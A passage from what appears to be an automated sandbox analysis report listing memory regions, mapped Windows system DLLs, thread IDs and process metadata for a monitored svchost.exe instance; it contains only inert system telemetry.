(normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 4790 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4791 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4792 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4793 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4794 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 4795 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4796 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4797 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4798 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4799 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4800 start_va = 0x7fefccb0000 end_va = 0x7fefcd40fff monitored = 0 entry_point = 0x7fefccb1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 4801 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4802 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4803 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4804 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4805 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4806 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4807 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4808 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4809 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4810 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4811 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4812 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4813 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4814 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4815 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4816 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4817 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4818 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4819 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4820 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4821 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 4822 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4823 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4824 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4825 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4826 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4827 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4828 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4829 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4830 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 355 os_tid = 0x518 Thread: id = 356 os_tid = 0x920 Thread: id = 357 os_tid = 0x7cc Thread: id = 358 os_tid = 0x764 Thread: id = 359 os_tid = 0x750 Thread: id = 360 os_tid = 0x72c Thread: id = 361 os_tid = 0x720 Thread: id = 362 os_tid = 0x12c Thread: id = 363 os_tid = 0xf4 Thread: id = 364 os_tid = 0x3f0 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x71cf6000" os_pid = "0x330" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f12b" [0xc000000f], "LOCAL" [0x7] Region: id = 3777 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3778 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3779 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3780 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3781 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3782 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3783 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3784 start_va = 0xe0000 end_va = 0xe7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 3785 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3786 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3787 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3788 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3789 start_va = 0x130000 end_va = 0x149fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3790 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3791 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3792 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3793 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3794 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3795 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3796 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3797 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3798 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 3799 start_va = 0x340000 end_va = 0x341fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3800 start_va = 0x350000 end_va = 0x35ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3801 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 3802 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 3803 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3804 start_va = 0x780000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 3805 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3806 start_va = 0x850000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3807 start_va = 0x860000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3808 start_va = 0x870000 end_va = 0x874fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3809 start_va = 0x880000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3810 start_va = 0x980000 end_va = 0x98ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3811 start_va = 0x990000 end_va = 0x99ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3812 start_va = 0x9a0000 end_va = 0x9affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3813 start_va = 0x9b0000 end_va = 0x9bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3814 start_va = 0x9c0000 end_va = 0x9cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3815 start_va = 0x9d0000 end_va = 0x9dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3816 start_va = 0x9e0000 end_va = 0x9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb") Region: id = 3817 start_va = 0x9f0000 end_va = 0x9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3818 start_va = 0xa00000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 3819 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3820 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 3821 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 3822 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3823 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 3824 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 3825 start_va = 0xae0000 end_va = 0xaeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3826 start_va = 0xaf0000 end_va = 0xafffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3827 start_va = 0xb00000 end_va = 0xb0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3828 start_va = 0xb10000 end_va = 0xb1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3829 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 3830 start_va = 0xba0000 end_va = 0xbaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3831 start_va = 0xbb0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 3832 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3833 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3834 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 3835 start_va = 0xc60000 end_va = 0xf2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3836 start_va = 0xf30000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 3837 start_va = 0xf40000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 3838 start_va = 0xf50000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 3839 start_va = 0xf60000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 3840 start_va = 0xf70000 end_va = 0xf70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 3841 start_va = 0xf80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 3842 start_va = 0x1000000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 3843 start_va = 0x1010000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001010000" filename = "" Region: id = 3844 start_va = 0x1020000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 3845 start_va = 0x1030000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001030000" filename = "" Region: id = 3846 start_va = 0x1040000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001040000" filename = "" Region: id = 3847 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001050000" filename = "" Region: id = 3848 start_va = 0x1060000 end_va = 0x1060fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 3849 start_va = 0x1070000 end_va = 0x1070fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 3850 start_va = 0x1080000 end_va = 0x108ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3851 start_va = 0x1090000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 3852 start_va = 0x10a0000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 3853 start_va = 0x1120000 end_va = 0x112ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 3854 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 3855 start_va = 0x11d0000 end_va = 0x128ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3856 start_va = 0x1320000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 3857 start_va = 0x13e0000 end_va = 0x145ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 3858 start_va = 0x1510000 end_va = 0x151ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 3859 start_va = 0x1520000 end_va = 0x161ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 3860 start_va = 0x1670000 end_va = 0x16effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 3861 start_va = 0x16f0000 end_va = 0x17effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 3862 start_va = 0x1940000 end_va = 0x19bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 3863 start_va = 0x19d0000 end_va = 0x19dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 3864 start_va = 0x19e0000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 3865 start_va = 0x19f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 3866 start_va = 0x1af0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001af0000" filename = "" Region: id = 3867 start_va = 0x1ca0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: id = 3868 start_va = 0x1d40000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 3869 start_va = 0x1e80000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3870 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 3871 start_va = 0x1fc0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 3872 start_va = 0x20c0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 3873 start_va = 0x21c0000 end_va = 0x31bffff monitored = 1 entry_point = 0x0 region_type = private name 